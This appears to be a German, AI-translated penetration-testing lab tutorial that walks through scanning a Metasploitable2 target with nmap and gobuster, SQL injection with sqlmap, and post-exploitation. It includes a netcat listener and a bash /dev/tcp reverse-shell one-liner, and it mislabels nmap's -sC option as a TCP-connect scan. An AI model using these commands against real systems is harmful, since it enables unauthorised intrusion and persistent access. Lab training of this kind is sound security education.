Web Application Penetration Testing mit Nmap durchführen

NmapNmapBeginner
Jetzt üben

💡 Dieser Artikel wurde von AI-Assistenten übersetzt. Um die englische Version anzuzeigen, können Sie hier klicken

Einführung

In diesem Lab werden wir uns mit dem Penetration Testing von Webanwendungen befassen, einem entscheidenden Aspekt der Informationssicherheit. Webanwendungen werden in verschiedenen Bereichen weit verbreitet eingesetzt, weshalb ihre Sicherheit oberste Priorität hat. Das Ziel des Labs ist es, praktische Erfahrungen bei der Identifizierung und Ausnutzung von Sicherheitslücken in einer anfälligen Webanwendung zu sammeln, die auf einem Zielsystem gehostet wird. Das Ziel ist es, ein Verständnis für häufige Sicherheitslücken in Webanwendungen und die Techniken zu erlangen, die zur Ausnutzung dieser Lücken verwendet werden.


Skills Graph

%%%%{init: {'theme':'neutral'}}%%%% flowchart RL nmap(("Nmap")) -.-> nmap/NmapGroup(["Nmap"]) wireshark(("Wireshark")) -.-> wireshark/WiresharkGroup(["Wireshark"]) nmap/NmapGroup -.-> nmap/installation("Installation and Setup") nmap/NmapGroup -.-> nmap/port_scanning("Port Scanning Methods") nmap/NmapGroup -.-> nmap/host_discovery("Host Discovery Techniques") nmap/NmapGroup -.-> nmap/target_specification("Target Specification") nmap/NmapGroup -.-> nmap/service_detection("Service Detection") wireshark/WiresharkGroup -.-> wireshark/installation("Installation and Setup") wireshark/WiresharkGroup -.-> wireshark/packet_capture("Packet Capture") subgraph Lab Skills nmap/installation -.-> lab-416136{{"Web Application Penetration Testing mit Nmap durchführen"}} nmap/port_scanning -.-> lab-416136{{"Web Application Penetration Testing mit Nmap durchführen"}} nmap/host_discovery -.-> lab-416136{{"Web Application Penetration Testing mit Nmap durchführen"}} nmap/target_specification -.-> lab-416136{{"Web Application Penetration Testing mit Nmap durchführen"}} nmap/service_detection -.-> lab-416136{{"Web Application Penetration Testing mit Nmap durchführen"}} wireshark/installation -.-> lab-416136{{"Web Application Penetration Testing mit Nmap durchführen"}} wireshark/packet_capture -.-> lab-416136{{"Web Application Penetration Testing mit Nmap durchführen"}} end

Einrichten der Umgebung

In diesem Schritt werden wir die Lab-Umgebung einrichten und uns mit den Tools und dem Zielsystem vertraut machen.

Zunächst müssen wir die ID des Kali Linux-Images erhalten. Dies kann man tun, indem man auf dem Desktop das xfce-Terminal doppelt anklickt und den folgenden Befehl ausführt:

docker images

Wir müssen den Kali Linux-Container starten, der als unser Angriffssystem dienen wird. Öffnen Sie ein Terminal und führen Sie den folgenden Befehl aus:

docker run -ti --network host image-id bash

Dieser Befehl startet einen neuen Kali Linux-Container und ermöglicht es Ihnen, mit seiner Shell zu interagieren.

Als Nächstes öffnen Sie erneut ein neues Terminal. Wir müssen das Zielsystem starten, ein anfälliges System namens Metasploitable2. Führen Sie den folgenden Befehl aus, um die virtuelle Maschine zu starten:

sudo virsh start Metasploitable2

Warten Sie, bis das Zielsystem gestartet ist. Dies kann 1 - 3 Minuten dauern.

Sobald die virtuelle Maschine läuft, überprüfen Sie, ob Sie das Zielsystem vom Kali Linux-Container aus erreichen können:

ping 192.168.122.102

Reconnaissance und Informationssammlung

In diesem Schritt werden wir eine Reconnaissance durchführen und Informationen über das Zielsystem mit verschiedenen Techniken sammeln.

Zunächst scannen wir das Zielsystem mit dem nmap-Tool innerhalb des Kali Linux-Containers, um offene Ports und laufende Dienste zu identifizieren:

nmap -sV -sC -oN nmap_scan.txt 192.168.122.102

Dieser Befehl führt einen TCP-Connect-Scan (-sC) durch, um festzustellen, welche Ports geöffnet sind, und einen Version-Scan (-sV), um den Dienst und die Version auf jedem offenen Port zu identifizieren. Die Ausgabe wird in einer Datei namens nmap_scan.txt (-oN) gespeichert.

Das Scannen dauert eine Weile. Nach Abschluss des Scans überprüfen Sie die Datei nmap_scan.txt, um potenzielle Angriffsvektoren anhand der offenen Ports und Dienste zu identifizieren. Verwenden Sie dazu den cat-Befehl:

cat nmap_scan.txt

Als Nächstes werden wir eine Verzeichnis- und Dateienumeration auf dem Ziel-Webserver mit dem gobuster-Tool durchführen:

gobuster dir -u http://192.168.122.102 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 30 -o gobuster_scan.txt

Dieser Befehl führt ein Brute-Force-Angriff auf Verzeichnisse und Dateien auf dem Ziel-Webserver mit der angegebenen Wortliste (-w) durch. Die Option -t gibt die Anzahl der gleichzeitigen Threads an, und die Option -o speichert die Ausgabe in einer Datei namens gobuster_scan.txt.

Analysieren Sie die Datei gobuster_scan.txt, um alle interessanten Verzeichnisse oder Dateien zu identifizieren, die möglicherweise zusätzliche Informationen oder Angriffsvektoren liefern könnten.

Ausnutzung von Sicherheitslücken

In diesem Schritt werden wir versuchen, die in den vorherigen Schritten identifizierten Sicherheitslücken auszunutzen.

Basierend auf den Informationen, die aus den nmap- und gobuster-Scans gesammelt wurden, identifizieren Sie potenzielle Sicherheitslücken im Zielsystem. Wenn Sie beispielsweise eine veraltete Version einer Webanwendung oder eines Dienstes entdeckt haben, recherchieren Sie bekannte Sicherheitslücken für diese Version und versuchen Sie, sie auszunutzen.

Eine häufige Sicherheitslücke in Webanwendungen ist die SQL-Injection. Nehmen wir an, dass die Zielwebanwendung für SQL-Injection anfällig ist. Wir können das sqlmap-Tool innerhalb des Kali Linux-Containers verwenden, um den Prozess der Erkennung und Ausnutzung von SQL-Injection-Sicherheitslücken zu automatisieren.

sqlmap -u http://192.168.122.102/vulnerable_page.php --batch --risk=3 --level=5 --random-agent --dbs

Dieser Befehl versucht, SQL-Injection-Sicherheitslücken auf der angegebenen URL (-u) zu erkennen und auszunutzen. Die Option --batch führt sqlmap im nicht-interaktiven Modus aus, --risk=3 setzt das Risikoniveau auf 3 (maximal), und --level=5 setzt das Niveau für SQL-Injection-Tests auf 5 (maximal). Die Option --random-agent gibt eine zufällige User-Agent-Zeichenfolge an, und --dbs versucht, die Namen aller Datenbanken abzurufen.

Je nachdem, welche Sicherheitslücke Sie ausnutzen möchten, müssen Sie möglicherweise andere Tools oder Techniken verwenden. Lesen Sie die Dokumentation und Ressourcen für die spezifische Sicherheitslücke und das Tool.

Nach-Ausnutzung und Privileg-Eskalation

In diesem Schritt werden wir versuchen, den Zugang zum Zielsystem nach erfolgreicher Ausnutzung einer Sicherheitslücke aufrechtzuerhalten und unsere Privilegien zu erhöhen.

Angenommen, Sie haben über eine Sicherheitslücke Zugang zum Zielsystem erlangt. Der nächste Schritt besteht darin, eine dauerhafte Hintertür (Backdoor) oder eine Reverse-Shell einzurichten. Dies ermöglicht es Ihnen, auch dann weiterhin Zugang zum System zu haben, wenn die anfängliche Sicherheitslücke gepatcht wird.

Eine Möglichkeit, eine Reverse-Shell einzurichten, ist die Verwendung des netcat-Tools. Führen Sie auf dem Kali Linux-Container den folgenden Befehl aus:

nc -lvnp 4444

Dieser Befehl wartet auf eingehende Verbindungen auf Port 4444.

Führen Sie auf dem Zielsystem den folgenden Befehl aus, um eine Reverse-Shell einzurichten:

bash -c 'bash -i >& /dev/tcp/<Kali IP>/4444 0>&1'

Ersetzen Sie <Kali IP> durch die IP-Adresse Ihres Kali Linux-Containers. Sie können ifconfig verwenden, um die IP-Adresse Ihres Containers zu ermitteln.

Sobald die Reverse-Shell eingerichtet ist, können Sie versuchen, die Privilegien auf dem Zielsystem zu erhöhen. Eine häufige Technik besteht darin, nach Privileg-Eskalations-Sicherheitslücken mit dem linux-exploit-suggester-Tool zu suchen:

wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh
chmod +x linux-exploit-suggester.sh
./linux-exploit-suggester.sh > /home/labex/linux-exploit-suggester.txt

Dieses Skript analysiert das Zielsystem und schlägt potenzielle Kernel-Exploits vor, die zur Privileg-Eskalation verwendet werden könnten.

Zusammenfassung

In diesem Lab haben wir uns mit dem Penetration Testing von Webanwendungen beschäftigt und praktische Erfahrungen in der Identifizierung und Ausnutzung von Sicherheitslücken in einer anfälligen Webanwendung auf einem Zielsystem gesammelt. Wir haben verschiedene Techniken und Tools kennengelernt, die in den Phasen der Reconnaissance, Informationssammlung, Ausnutzung und Nach-Ausnutzung eines Penetration-Tests eingesetzt werden.

Das Lab bot eine kontrollierte Umgebung, um reale Szenarien zu üben und Fähigkeiten in der Sicherheit von Webanwendungen zu entwickeln. Indem wir die Schritte befolgt haben, haben wir gelernt, wie man die Lab-Umgebung einrichtet, Reconnaissance und Informationssammlung durchführt, Sicherheitslücken wie SQL-Injection ausnutzt, eine dauerhafte Hintertür (Backdoor) einrichtet und auf dem Zielsystem eine Privileg-Eskalation versucht.

Dieses Lab hat uns mit praktischem Wissen und Erfahrungen im Penetration Testing von Webanwendungen ausgestattet, was unerlässlich ist, um Webanwendungen zu sichern und potenzielle Sicherheitslücken zu identifizieren, bevor sie von bösartigen Akteuren ausgenutzt werden können.